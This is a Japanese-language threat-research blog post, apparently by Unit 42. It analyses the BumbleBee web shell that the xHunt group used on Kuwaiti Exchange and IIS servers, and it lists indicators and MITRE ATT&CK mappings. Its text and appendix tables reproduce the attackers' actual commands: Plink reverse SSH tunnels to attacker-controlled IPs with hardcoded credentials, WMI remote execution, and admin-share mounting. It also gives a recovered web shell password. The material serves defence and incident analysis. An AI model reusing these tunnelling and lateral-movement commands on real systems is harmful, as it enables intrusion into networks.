This post is also available in: English (英語)
概要
2020年9月、私たちは、脅威グループが継続的なxHuntキャンペーンの過程で侵害したあるクウェート組織のMicrosoft Exchangeサーバーについての調査を開始しました。この調査の結果、以前のブログで解説した、TriFiveとSnugyという2つの新しいバックドアと、このブログで詳しく解説することになるBumbleBee(「マルハナバチ」の意)と名付けた新しいWebシェルが発見されました。この名前は、図1に示すように、BumbleBee Webシェルの配色にはマルハナバチのような白、黒、黄色が含まれることに由来しています。
攻撃者はBumbleBee Webシェルを使用して、侵害されたExchangeサーバーとファイルをやりとりしていました。さらに重要なのが、追加のシステムを探索し、ネットワーク上の他のサーバーへの横展開を行うためのコマンドの実行にも、このWebシェルを使用したという点です。BumbleBeeは、侵害されたExchangeサーバーと同じネットワーク上の内部Internet Information Services (IIS) Webサーバー、および他の2つのクウェート組織にある2つの内部IIS Webサーバー上でホストされていました。xHuntキャンぺーンについての以前のブログに記載したように、Exchangeサーバーの侵害に使用された最初の感染経路はまだわかっていません。私たちが回収できたログよりも前に感染が発生したものと思われます。
クウェート組織の侵害されたExchangeサーバーはインターネットからアクセス可能だったので、攻撃者はBumbleBee Webシェルと直接やり取りしていたことが確認されました。攻撃者はインターネットからアクセス可能なサーバー上でBumbleBeeに直接アクセスするさい、Private Internet Accessが提供している仮想プライベートネットワーク(VPN)を使用していました。サーバーによりログに記録される活動の外部IPアドレスを変更するために、攻撃者は複数のVPNサーバーを頻繁に切り替えていました。具体的には、攻撃者はベルギー、ドイツ、アイルランド、イタリア、ルクセンブルグ、オランダ、ポーランド、ポルトガル、スウェーデン、イギリスなど、さまざまな国からのアクセスに見えるようにIPアドレスを変更していました。これは、検出を回避し、悪意のある活動の分析をより困難にするために行われたと考えられます。また、Windows 10、Windows 8.1、Linuxの各システム上でMozilla FirefoxとGoogle Chromeを切り替えるなど、攻撃者が複数のオペレーティングシステムとブラウザを切り替えていたことも確認しました。これは、攻撃者が複数のシステムにアクセスでき、これを利用して活動の分析をより難しくしているか、オペレーティングシステムとブラウザの好みが異なる複数の攻撃者が関与していることを示しています。
VPNの使用に加え、攻撃者は3つのクウェート組織すべてで、インターネットから直接アクセス可能ではない内部IIS Webサーバー上でホストされているBumbleBee Webシェルとやり取りするために、SSHトンネルを使用していました。BumbleBeeを介してサーバー上で実行されたコマンドは、攻撃者がPuTTY Link (Plink)ツールを使用して、侵害されたネットワーク内部のサービスにアクセスするためのSSHトンネルを作成したことを示しています。私たちは、攻撃者がPlinkを使用して、3389/tcpへのSSHトンネルを作成したことを確認しました。これは、攻撃者がリモートデスクトッププロトコル(RDP)を使用してシステムにアクセスするためにトンネルを使用したことを示しています。また、攻撃者は80/tcpに対する内部サーバーへのSSHトンネルを作成していたことも確認しました。これは、攻撃者がトンネルを使用して内部IIS Webサーバーにアクセスしたことを示しています。攻撃者は、横展開の手段としてBumbleBeeをインストールする目的で内部Webアプリケーションのファイルアップロード機能を利用するために、これらの追加の内部IIS Webサーバーにアクセスしたと考えられます。
パロアルトネットワークスの次世代ファイアウォールをご使用のお客様は、脅威防御、URLフィルタリング、およびDNSセキュリティのサブスクリプションによって、これらのxHunt関連の攻撃から保護されています。
BumbleBee Webシェル
xHuntキャンペーンに関与している脅威グループは、あるクウェート組織のExchangeサーバーを侵害し、私たちがBumbleBee(マルハナバチ)と呼んでいるWebシェルをインストールしました。この名前は、図1に示すように、BumbleBee Webシェルの配色にマルハナバチのような白、黒、黄色が含まれることに由来しています。BumbleBeeは非常に単純です。このWebシェルは、攻撃者がコマンドを実行し、サーバーとの間でファイルをやりとりできるようにします。BumbleBeeの興味深いところは、Webシェルを表示するには攻撃者は1つのパスワードを入力する必要があり、Webシェルを操作するには別のパスワードを入力する必要があるという点です。
![BumbleBee Webシェルという名前は、この図に示した黒、白、黄色の配色から付けました。この図は、xHuntキャンペーンの攻撃者がMicrosoft Exchangeサーバー上でコマンドを実行するために使用するインターフェイスを示しています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/12/word-image-42.png)
BumbleBee Webシェルを表示するには、攻撃者は、parameterという名前のURLパラメータでパスワードを入力する必要があります。パスワードを入力しないと、BumbleBeeとやり取りするためのフォームがブラウザに表示されません。入力されたパスワードの認証を確認するために、Webシェルはパラメータ値のMD5ハッシュを生成し、ハードコードされたMD5ハッシュと照合します。私たちが確認した、侵害されたExchangeサーバー上でホストされていたBumbleBeeのサンプルでは、パスワード文字列fkeYMvKUQlA5asRに対するMD5ハッシュは1B2F81BD2D39E60F1E1AD05DD3BF9F56でした。BumbleBeeは表示されると、攻撃者に次の3つの機能を提供します。
- cmd /cによるコマンドの実行
- 指定されたフォルダ(デフォルトではc:\windows\temp)へのファイルのアップロード
- サーバーからのファイルのダウンロード
これらの機能を実行するため、攻撃者は、図1で「password」ラベルが付いているフィールドに、2つ目のパスワードを入力する必要があります。BumbleBee WebシェルはパスワードのMD5ハッシュを生成し、ハードコードされたMD5ハッシュと照合してから、機能を実行します。攻撃者が望むアクションを実行する前に照合されたMD5ハッシュは36252C6C2F616C5664A54058F33EF463でしたが、残念ながらこのパスワードの文字列形式を特定することはできませんでした。BumbleBeeの機能を使用するために必要なパスワードはわかりませんでしたが、侵害されたExchangeサーバーからのログを分析することにより、Webシェルを通して実行されるコマンドを特定できました。これについては、このブログの後半で詳しく解説します。
分析の実行中に、私たちはWebシェルの表示とコマンドの実行に対する別のMD5ハッシュを含む、2つ目のBumbleBee Webシェルを発見しました。MD5ハッシュはそれぞれ、A2B4D934D394B54672EA10CA8A65C198と28D968F26028D956E6F1199092A1C408でした。A2B4D934D394B54672EA10CA8A65C198のハッシュはパスワードTshuYoOARg3fndIに対するものであると特定できましたが、2つ目のハッシュに対する文字列は特定できませんでした。このWebシェルは、侵害されたExchangeサーバー上で元のBumbleBeeが発見されたのと同じクウェート組織にある内部IISサーバー上でホストされていました。この特定のBumbleBeeのサンプルは、他の2つのクウェート組織にある内部IISサーバーでもホストされていることが確認されました。私たちはその2つのクウェート組織のうちの1つの内部IIS Webサーバーからエンドポイントログを回収し、BumbleBeeを通して実行されたコマンドを特定することができました。これについても、このブログの後半で解説します。
侵害されたMicrosoft Exchangeサーバーとのやりとり
クウェート組織の侵害されたExchangeサーバーに関する攻撃者の活動を特定するために、私たちはExchangeサーバーからのIISサーバーのログおよびCortex XDRによりシステムに対して生成されたログを回収しました。IISのログ内で、侵害されたExchangeサーバー上にインストールされているBumbleBee Webシェルを介して攻撃者がコマンドを発行した際に生成されたHTTP POSTリクエストを確認できました。IISのログから、侵害された電子メールアカウントに攻撃者がOutlook Web Appを使用してログインし、ログイン後に、電子メールの確認や侵害されたネットワーク上の他の電子メールアカウントの検索などの特定の活動を実行していたことも確認できました。
残念ながら、侵害されたExchangeサーバーではPOSTリクエスト内のデータをログに記録できないため、これらのログから発行されたコマンドの数はわかっていますが、攻撃者が実行した実際のコマンドはわかっていません。また、私たちは2020年1月31から2020年9月16日までの期間に、34日分のログしか回収できませんでした。これには、侵害されたExchangeサーバーからのすべてのIISのログは含まれません。このようなログの大きな抜けにより、活動の全体像も、侵害されたExchangeサーバーと攻撃者のやり取りの始まりも把握できていません。たとえば、IISのログは、2020年2月1日に最初のBumbleBee Webシェルの活動を示していますが、2020年1月31日の午前12:02 UTCから、TriFiveバックドアが5分ごとに侵害された電子メールアカウントにログインしていたことも示しています。5分ごとのTriFiveのビーコンは、このインシデントに関連するバックドアについての以前のブログで解説したスケジュールされたタスクによって、TriFiveが繰り返し実行されていたことを示しています。これは、回収されたログに示されている期間よりも前に、攻撃者がすでに侵害されたExchangeサーバーへの持続的なアクセスを得ていたことも意味します。
私たちは侵害されたExchangeサーバーから回収できたIISのログを使用して、BumbleBee Webシェルとのやり取りも含め、攻撃者の活動をタイムラインにまとめることができました。2020年2月1日と7月27日に、攻撃者は侵害された資格情報を使用して、Outlook Web Appを介してExchangeサーバーにログインしました。攻撃者はOutlook Web App内の検索機能を使用して、電子メールアドレスの検索を行いました。この検索には、電子メールアドレスの完全なリストを取得するための侵害されたクウェート組織のドメイン名の検索や、helpdeskなどの特定のキーワードの検索も含まれていました。攻撃者はまた、侵害されたアカウントの受信ボックス内で、サービスプロバイダやテクノロジーベンダからの電子メールなどを確認していました。その上、Symantec製品やFortinetのFortiWeb製品からのアラート電子メールも確認していました。ヘルプデスクへの電子メールを検索し、セキュリティアラート電子メールを表示するという行為は、クウェート組織が悪意のある活動に気付いたかどうかを攻撃者が探ろうとしていたことを示しています。
BumbleBee Webシェルの活動に関して、タイムラインを作成するために使用したIISのログからの重要な情報は以下のとおりです。
- HTTPリクエストのタイムスタンプ
- 攻撃者のIPアドレス
- 攻撃者のオペレーティングシステムとブラウザのバージョンを提供するHTTPリクエスト内のuser-agent
- サーバー側Cookieを使用してExchangeサーバーにより提供されるクライアントの一意の識別子であるURLパラメータ内のclientId
付録の表1は、攻撃者のBumbleBee Webシェルの使用に関する活動のタイムラインを示しています。これは、回収できたログによれば、2020年2月1日に始まりました。このタイムラインの作成時に、BumbleBeeとのやりとり時に攻撃者が示す、以下のようないくつかの興味深い挙動に気付きました。
- 攻撃者が使用した、1つを除くすべてのIPアドレスは、Private Internet Accessの提供するVPNに関連していました。残りの1つのIPアドレスはFalcoVPNに属するものでした。
- 攻撃者は、IPアドレスを変更し、ベルギー、ドイツ、アイルランド、イタリア、ルクセンブルグ、オランダ、ポーランド、ポルトガル、スウェーデン、イギリスなど、さまざまな国からのアクセスに見えるように、複数の場所にあるVPNサーバーを切り替えていました。
- 攻撃者はBumbleBeeとのやりとり時に、複数のオペレーティングシステムとブラウザの組み合わせを使用していました。具体的には、Windows 10 (
)、Windows 8.1 (
)、およびLinuxシステム(
)上で、FireFox (
)とChrome (
)を使用していました。
BumbleBeeを使用して実行されるコマンド
前述のように、クウェート組織の侵害されたExchangeサーバーではIISのログ内にPOSTデータを記録しないため、BumbleBee Webシェルで実行されたコマンドを抽出することはできませんでした。ただし、重複するタイムスタンプを使用して、IISのログ内の活動をCortex XDRのログに記録されていたコマンドプロンプト活動と相関させることにより、サーバー上で実行されたコマンドを特定することができました。残念ながら、疑わしい活動への対応として、侵害されたExchangeサーバーにCortex XDRがインストールされた2020年9月16日までにBumbleBee上で実行されたコマンドは確認できていません。また、他の2つのクウェート組織のうちの1つの内部IIS Webサーバー上でホストされていたBumbleBee Webシェルで実行されたコマンドも特定できました。
Cortex XDRのログによると、攻撃者は2020年9月16日に3時間37分の間、侵害されたExchangeサーバー上にインストールされているBumbleBee Webシェルを使用してコマンドを実行していました。付録の表2は、すべてのコマンドおよび実行された活動を最も適切に解説するMITRE ATT&CKテクニックIDを示しています。これらのコマンドは、攻撃者による以下の活動を示しています。
- ネットワーク上の追加のコンピュータを検出するために、pingとnet groupコマンドおよびPowerShell (T1059.001)を使用して、ネットワーク探索(T1018)を実行する。
- whoamiとquserコマンドを使用して、アカウント探索(T1087)を実行する。
- W32tmとtimeコマンドを使用して、システム時刻(T1124)を特定する。
- Plink (RTQ.exe)を使用して、リモートホストへのSSHトンネル(T1572)を作成する。
- SSHトンネルを介してRDP (T1021.001)を使用して、侵害されたコンピュータを制御する。
- 共有フォルダをマウントし、Plink (RTQ.exe)をリモートシステムにコピーし、Windows Management Instrumentation (WMI) (T1047)を使用してRDPアクセス用のSSHトンネルを作成することにより、別のシステムに横展開する(T1570)。
- コマンドの発行が完了したら、BumbleBeeを削除する(T1070.004)ことにより、その存在の証拠を削除する。
付録の表2のコマンドは、以下のコマンドに示すように、攻撃者がPlink (RTQ.exe)を使用して外部IPアドレス192.119.110[.]194へのSSHトンネルを作成する様子も示しています。
1 |
echo y | c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8081:<redacted IP #2>:3389 -l bor -pw 123321 -P 443 |
このIPアドレスは、このブログの後半で解説する他の関連するインフラストラクチャと重複しています。最も重要なことは、SSHトンネルの作成に使用されたユーザー名borとパスワード123321が、前述のxHuntの活動と完全に同一であるという点です。この同一の資格情報は、攻撃者がPlinkを使用してSSHトンネルを作成するために使用できるコマンド例を示した、Sakabotaツール内で発見されたチートシートに記載されていました。攻撃者はチートシートからのコマンド例を、BumbleBeeを介してSSHトンネルを作成するために使用したコマンドの土台として利用したと考えられます。
攻撃者は、Windowsシステム上のインターネットからアクセス可能ではないRDPサービスに接続するために、特に、侵害されたシステムとやり取りし、グラフィカル ユーザー インターフェイス(GUI)アプリケーションを使用する目的でRDPを使用するために、これらのSSHトンネルを作成します。図2に示すように、攻撃者はネットワーク上の他のシステムに横展開するために、特に、インターネットからリモートでアクセス可能ではない内部システムにアクセスするためにも、これらのSSHトンネルを使用します。
![この図は、xHuntキャンペーンの攻撃者が、SSHトンネルを使用して、BumbleBeeをホストしているインターネットからアクセス可能なサーバーを介した、インターネットからのリモートアクセスが可能ではない内部システムへのアクセスを可能にすることにより、ネットワーク上の他のシステムに横展開する様子を示しています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/12/word-image-48.png)
侵害されたExchangeサーバー上で実行されたコマンドの分析に加え、私たちは他の2つのクウェート組織のうちの1つでホストされている内部IIS Webサーバー上で、BumbleBee Webシェルで実行されたコマンドも分析しました。2020年9月10日に、私たちはネットワークとアカウントの探索を行うために攻撃者が複数のコマンドを実行したことを確認しました。さらに、攻撃者はBumbleBeeを使用して、cq.aspxというファイル名の2つ目のWebシェルをアップロードしていました。攻撃者はこの2つ目のWebシェルを使用して、Microsoft SQL Serverデータベースに対してSQLクエリを発行するPowerShellスクリプトを実行していました。
攻撃者はまずSQL ServerのバージョンをチェックするSQLクエリを発行し、続いてIIS Webサーバー上で実行されているWebアプリケーションに特化した2つの追加のクエリを発行していました。SQLクエリの発行に使用されたPowerShellスクリプトは、「Running SQL via PowerShell」というタイトルでMicrosoft Technetフォーラムに掲載されていた投稿に含まれているスクリプトに非常に似ています。これは、攻撃者がPowerShellスクリプトの土台としてこのフォーラムへの投稿を使用した可能性があることを示しています。攻撃者が作業完了時にBumbleBee Webシェルを使用して2つ目のWebシェルを削除したため、私たちはこのWebシェルを入手することはできませんでした。付録の表3は、9月にBumbleBeeを使用して実行されたコマンドを示しています。
表3のコマンドを発行するために使用されたBumbleBee WebシェルをホストしているIIS Webサーバー上のログには、活動の実行元の内部IPアドレスのみが含まれていました。内部IPアドレスは、このWebサーバーが公的にアクセス可能ではなく、攻撃者のアクセス元のIPアドレスは公開されていないことを示しています。ただし、BumbleBeeにアクセスし、表3のコマンドを実行するすべての試みでは、Webサーバーのログ内のリファラーフィールドのURLで、ホストが192.119.110[.]194:8083でした。リファラーフィールドのこの外部IPアドレスは、攻撃者がSSHトンネルを介してBumbleBeeにアクセスしていたことを示しています。リファラーフィールドのIPアドレスは、表2に示した、侵害されたExchangeサーバー上で確認された、RDPアクセス用のSSHトンネルを作成するために発行されたコマンドと同じです。
ファイルアップローダーとSSHトンネル
調査では、最初のクウェート組織にある内部IIS Webサーバー、および他の2つのクウェート組織にある内部IIS Webサーバーでホストされている2つ目のBumbleBee Webシェルを発見しました。このBumbleBee Webシェルでは、コマンドを表示および実行するためのパスワードが、分析した最初のサンプルとは異なりました。2つ目のBumbleBee Webシェルでは、攻撃者はパスワードTshuYoOARg3fndIを、parameterという名前のURLパラメータ内に含める必要がありました。最初のBumbleBeeサンプルと同様に、攻撃者がWebシェル上でコマンドを実行するために指定する必要があるパスワードはわかっていません。
内部IIS Webサーバー上のアーティファクトを分析することにより、2020年7月16日に、攻撃者がPlinkを使用してSSHトンネルを作成するために、付録の表2に示したコマンドと類似したコマンドを実行したことを特定できました。以下に示すように、攻撃者はxHuntのチートシートに含まれているものと同じユーザー名とパスワードを使用するコマンドを、攻撃者が制御する別の外部IPアドレスで実行したことがわかりました。
1 2 |
1.exe 142.11.211[.]79 -C -R 0.0.0.0:8080:10.x.x.x:80 -l bor -pw 123321 -P 443 SVROOT.exe 142.11.211[.]79 -C -R 0.0.0.0:8081:10.x.x.x:80 -l bor -pw 123321 -P 443 |
これらのコマンドは、攻撃者が3389/tcpでRDPを使用してサーバーに接続することを可能にするSSHトンネルを、侵害されたExchangeサーバー上に作成するために使用したコマンドとは異なります。上記のコマンドは、80/tcpで、他の内部サーバー上でホストされているWebサーバーに攻撃者がアクセスできるようにするためのトンネルの作成を試みます。攻撃者は、他の内部ネットワーク上のWebサーバーで同様のファイルアップロード機能を見つける目的で、これらのサーバーにアクセスするためにSSHトンネルを使用したと考えられます。見つかった場合、攻撃者はファイルアップロード機能を使用して、横展開用にリモートサーバーを侵害するためにWebシェルをアップロードしたと思われます。
私たちはBumbleBee Webシェルの活動を含むIISのログを調べ、インバウンドHTTPリクエストのリファラーフィールドのURL内に、3つの外部IPアドレスを発見しました。リファラーフィールド内のこれらのIPアドレスの存在は、攻撃者が以下のIPおよびTCPポートをブラウザのURLフィールドに含めることにより、SSHトンネルを使用してWebサーバーにアクセスしたことを示しています。
142.11.211[.]79:8080
142.11.211[.]79:8081
91.92.109[.]59:1234
91.92.109[.]59:1255
91.92.109[.]59:1288
91.92.109[.]59:1289
192.119.110[.]194:8083
関連するxHuntインフラストラクチャ
すべての外部IPアドレスは攻撃者がWebシェルとやり取りする際に使用したVPNサーバーのものであったため、侵害されたExchangeサーバー上でホストされているBumbleBee Webシェルへのインバウンド要求は、他のxHuntインフラストラクチャを指し示してはくれませんでした。私たちは幸いにも、RDPを介してシステムにアクセスしたり内部Webサービスにアクセスしたりするために攻撃者が作成したSSHトンネルに対するリモートサーバーとして使用された、既知のxHuntインフラストラクチャを引き出すことができました。SSHトンネルに使用された3つの外部サーバーは、192.119.110[.]194、142.11.211[.]79、および91.92.109[.]59でした。これらは、図3の図に示した他のインフラストラクチャと重複しています。
- backendloop[.]online
- bestmg[.]info
- windowsmicrosofte[.]online
ドメインwindowsmicrosofte[.]onlineには部分文字列microsofteが含まれます。これは、クウェートの海運・運輸関連組織へのxHuntの攻撃に関する最初の記事に記載しているように、Hisoka C2ドメインmicrosofte-update[.]comに含まれていました。残念ながら、私たちのテレメトリ内では攻撃者がこれらのドメインを使用していないため、攻撃者の活動内でのその目的を特定することはできていません。
結論
xHuntキャンペーンは継続しています。攻撃者は、私たちがBumbleBeeと呼んでいるWebシェルを、あるクウェート組織の侵害されたExchangeサーバーにインストールしていました。このWebシェルは、同じネットワーク上の内部IIS Webサーバーでホストされていました。BumbleBeeは、他の2つのクウェート組織にある2つの内部IIS Webサーバーでも発見されました。攻撃者がWebアプリケーションのファイルアップロード機能を使用してBumbleBeeを内部IIS Webサーバーにインストールしたことはわかっていますが、侵害されたExchangeサーバーにBumbleBeeをインストールする際に、攻撃者が脆弱性を悪用したのか、またはネットワーク上の別のシステムから横展開したのかは、まだ定かではありません。
攻撃者はBumbleBeeを使用して、3つのクウェート組織にある侵害されたサーバー上で、ユーザーアカウントおよびネットワーク上の他のシステムを探索するためのコマンド、ならびにネットワーク上の他のシステムに横展開するためのコマンドなどを実行していました。また、RDPを介してシステムにアクセスしたり、攻撃者が制御する外部サーバーから内部Webサーバーにアクセスしたりするために、SSHトンネルを作成していました。攻撃者はSSHトンネルに対して、攻撃者が開発し、攻撃者のみが使用している、Sakabotaツールに含まれるチートシートで確認されたものと同じユーザー名とパスワードを使用していました。
攻撃者がSSHトンネルに使用した外部サーバーは、3つのクウェート組織のうちの2つでの活動で使用されていました。これは、攻撃者が複数の標的ネットワークとのやり取りでインフラストラクチャを再利用していることを示しています。また、これらの外部サーバーは複数の関連するドメインに解決されました。これは、これらのサーバーがSSHトンネルを作成するためだけでなく、攻撃者の活動の他の部分でもインフラストラクチャに広く使用されていることを意味しています。
この分析から、攻撃者は実際の所在地を隠すために、標的ネットワークと直接やりとりするさい、Private Internet Accessの提供するVPNを好んで使用していることがわかりました。また攻撃者は、活動が多数の国から実行されているように見えるように、Webシェルでのコマンドの発行時に頻繁にVPNサーバーを切り替えていました。攻撃者は、クウェート組織のExchangeサーバー上の侵害された電子メールアカウントへのログイン時にもVPNを使用していました。この活動では特に、ヘルプデスク関連の電子メールやセキュリティアラートにより生成された電子メールを探していました。攻撃者が侵害されたネットワーク上で何か月もの間、存在を持続できていた理由は、このように所在地を隠し、侵害されたネットワークの管理者に攻撃者の存在を通知する可能性がある電子メールを確認することに重点を置いていたことにあるかもしれません。
パロアルトネットワークスの次世代ファイアウォールをご使用のお客様は、以下のセキュリティサブスクリプションにより、このブログで概説した攻撃から保護されています。
- 脅威防御シグネチャ「BumbleBee Webshell File Detection」および「BumbleBee Webshell Command and Control Traffic Detection」により、BumbleBee Webシェルの活動が検出されます。
- 攻撃者の関連インフラストラクチャは、URLフィルタリングおよびDNSセキュリティで、悪意のあるものとして分類されています。
追加資料
- xHuntキャンペーン: 新たに発見されたバックドアが削除された電子メールドラフトとコマンド&コントロール用のDNSトンネリングを使用
- xHunt攻撃キャンペーン: 資格情報収集用の新たな水飲み場が見つかる
- xHunt攻撃者のチート シート: 人気アニメの剣名になぞらえたツールSakabotaの検出回避テストを行う
- 詳説xHunt: DNS SecurityがDNSトンネル検出し新たなPowerShellバックドアをブロック
- Unit 42、クウェートの海運・運輸関連組織へのサイバー攻撃キャンペーン「xHunt」を発見
付録
IoC
- 142.11.211[.]79
- 91.92.109[.]59
- 192.119.110[.]194
- 192.255.166[.]158
- backendloop[.]online
- bestmg[.]info
- windowsmicrosofte[.]online
Exchangeサーバー上でのBumbleBee Webシェルの活動
開始
時刻 (UTC) |
コマンド | IPアドレス | クライアントID | ユーザーエージェントからのOSとブラウザ |
2/1/20 10:47 | 0 | 77.243.191[.]20 ![]() |
POQSBWBKAHZLRWNZFVPG | ![]() ![]() |
2/1/20 11:37 | 12 | 185.220.70[.]144 ![]() |
RCWIWFL0MCDGZKGO0A | ![]() ![]() |
2/1/20 12:38 | 0 | 193.176.86[.]134 ![]() |
RCWIWFL0MCDGZKGO0A | ![]() ![]() |
2/1/20 12:58 | 75 | 82.102.21[.]219 ![]() |
NCHOOJMDGUYAOWZVXJQDG | ![]() ![]() |
6/28/20 11:09 | 3 | 89.26.241[.]70 ![]() |
ITKVJLNUKULNR0PBAWQ | ![]() ![]() |
7/25/20 7:56 | 0 | 23.92.127[.]18 ![]() |
IJFHUUAID0FGS9YQEMHCG | ![]() ![]() |
7/25/20 10:44 | 15 | 196.52.84[.]35 ![]() |
IJAJGSWXUWVDVMMUHQQ | ![]() ![]() |
7/25/20 13:59 | 7 | 196.52.84[.]52 ![]() |
IJAJGSWXUWVDVMMUHQQ | ![]() ![]() |
7/26/20 6:43 | 3 | 185.220.70[.]139 ![]() |
IJAJGSWXUWVDVMMUHQQ | ![]() ![]() |
7/26/20 7:41 | 4 | 185.230.127[.]233 ![]() |
IJAJGSWXUWVDVMMUHQQ | ![]() ![]() |
7/26/20 11:26 | 5 | 185.230.127[.]239 ![]() |
IJAJGSWXUWVDVMMUHQQ | ![]() ![]() |
7/27/20 4:52 | 1 | 193.176.86[.]170 ![]() |
IJAJGSWXUWVDVMMUHQQ | ![]() ![]() |
7/27/20 10:31 | 3 | 212.102.52[.]134 ![]() |
IJAJGSWXUWVDVMMUHQQ | ![]() ![]() |
9/6/20 10:58 | 0 | 212.102.35[.]102 ![]() |
IIARASUWFCYUBMI0NA | ![]() ![]() |
9/8/20 6:37 | 24 | 196.52.84[.]30 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/8/20 8:22 | 0 | 185.230.127[.]238 ![]() |
HKPBNWFKIYLNWUGAHJA | ![]() ![]() |
9/8/20 8:48 | 0 | 185.230.127[.]238 ![]() |
<several unique> | ![]() ![]() |
9/8/20 11:40 | 9 | 185.230.127[.]238 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/8/20 13:31 | 1 | 212.102.52[.]134 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/9/20 5:57 | 3 | 89.238.139[.]52 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/10/20 18:58 | 24 | 195.181.170[.]242 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/12/20 7:13 | 26 | 89.238.137[.]37 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/12/20 10:29 | 2 | 212.102.52[.]134 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/15/20 0:04 | 7 | 92.223.89[.]137 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/15/20 5:28 | 2 | 85.203.46[.]99 ![]() |
OWITUR9UOKSZPXDKFBW | ![]() ![]() |
9/15/20 10:45 | 5 | 185.246.208[.]197 ![]() |
YEHIZAWKCLYFMDS9Q | ![]() ![]() |
9/15/20 11:24 | 1 | 77.243.191[.]20 ![]() |
VOICHQVTFKIDXTCAKA | ![]() ![]() |
9/15/20 13:24 | 4 | 92.223.89[.]134 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/15/20 13:30 | 6 | 185.246.208[.]197 ![]() |
YEHIZAWKCLYFMDS9Q | ![]() ![]() |
9/15/20 14:49 | 3 | 92.223.89[.]136 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/15/20 15:13 | 3 | 89.238.139[.]52 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/15/20 15:17 | 1 | 195.181.170[.]243 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/15/20 15:17 | 1 | 89.238.139[.]52 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/15/20 15:17 | 7 | 195.181.170[.]243 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/15/20 15:24 | 3 | 89.238.139[.]52 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/15/20 15:24 | 1 | 195.181.170[.]243 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/16/20 5:32 | 56 | 84.17.55[.]68 ![]() |
YEHIZAWKCLYFMDS9Q | ![]() ![]() |
9/16/20 13:42 | 6 | 46.246.3[.]254 ![]() |
INAYIKTWB0WGQOW0SRHWAQ | ![]() ![]() |
9/16/20 14:33 | 0 | 46.246.3[.]254 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/16/20 14:34 | 9 | 46.246.3[.]254 ![]() |
INAYIKTWB0WGQOW0SRHWAQ | ![]() ![]() |
9/16/20 15:44 | 52 | 46.246.3[.]253 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/16/20 16:15 | 2 | 46.246.3[.]254 ![]() |
INAYIKTWB0WGQOW0SRHWAQ | ![]() ![]() |
9/16/20 16:17 | 13 | 46.246.3[.]253 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
9/16/20 17:21 | 1 | 46.246.3[.]254 ![]() |
QAFCNW0FN0ENKWGZPEPVW | ![]() ![]() |
表1 侵害されたExchangeサーバーでのBumbleBee Webシェルを使用した攻撃者の活動
ExchangeサーバーでBumbleBeeを使用して実行されたコマンド
2020/09/16の時刻(UTC) | 実行されたコマンド | ATT&CK IDs |
13:42:12 | ping -n 1 -a <redacted IP #1> | T1018 |
13:42:27 | quser /server:dc.<redacted root domain> | T1087 |
14:27:39 | ipconfig /all | T1016 |
14:27:51 | W32tm /query /computer:<redacted IP #1> /configuration | T1124 |
14:29:06 | W32tm /query /computer:<redacted IP #1> /configuration | T1124 |
14:34:25 | quser /server:<redacted IP #1> | T1087 |
14:36:57 | echo y | echo q | echo y | echo q | echo y | echo q |echo y | echo q | echo y | echo q | echo y | echo q | time | T1124 |
14:37:11 | echo y | echo q | echo y | echo q | echo y | echo q |echo y | echo q | echo y | echo q | echo y | echo q | time | T1124 |
14:43:34 | quser /server:<redacted IP #1> | T1087 |
14:43:53 | quser /server:<redacted IP #2> | T1087 |
14:49:14 | quser /server:<redacted IP #1> | T1087 |
14:49:33 | quser <redacted username #1> /server:<redacted hostname #1> | T1087 |
15:43:13 | ipconfig /all | T1016 |
15:43:21 | quser /server:<redacted IP #1> | T1087 |
15:44:53 | dir c:\windows\temp\*.exe | T1083 |
15:45:15 | echo y | c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8081:<redacted IP #2>:3389 -l bor -pw 123321 -P 443 | T1572, T1021.001 |
15:45:26 | whoami | T1033 |
15:45:32 | echo y | c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8081:<redacted IP #2>:3389 -l bor -pw 123321 -P 443 | T1572, T1021.001 |
15:46:11 | c:\windows\temp\RTQ.exe | T1059.003 |
15:46:21 | whoami /priv | T1033 |
15:48:15 | net group “Domain Computers” /domain | T1069 |
15:48:35 | ping -n 1 <redacted hostname #2> | T1018 |
15:49:30 | net use \<redacted IP #3>\C$ /user:<redacted domain>\<redacted username #2> <redacted password #1> | T1021.002 |
15:50:22 | copy c:\windows\temp\RTQ.exe \<redacted IP #3>\C$\windows\temp\RTQ.exe | T1560, T1021.002 |
15:50:28 | \<redacted IP #3>\C$\windows\temp\RTQ.exe | T1059.003, T1021.002 |
15:51:59 | wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c c:\windows\temp\RTQ.exe >> C:\windows\temp\r.txt” | T1047 |
15:52:22 | type \<redacted IP #3>\C$\windows\temp\r.txt | T1039, |
15:53:36 | wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8082:<redacted IP #2>:3389 -l bor -pw 123321 -P 443” | T1047, T1572, |
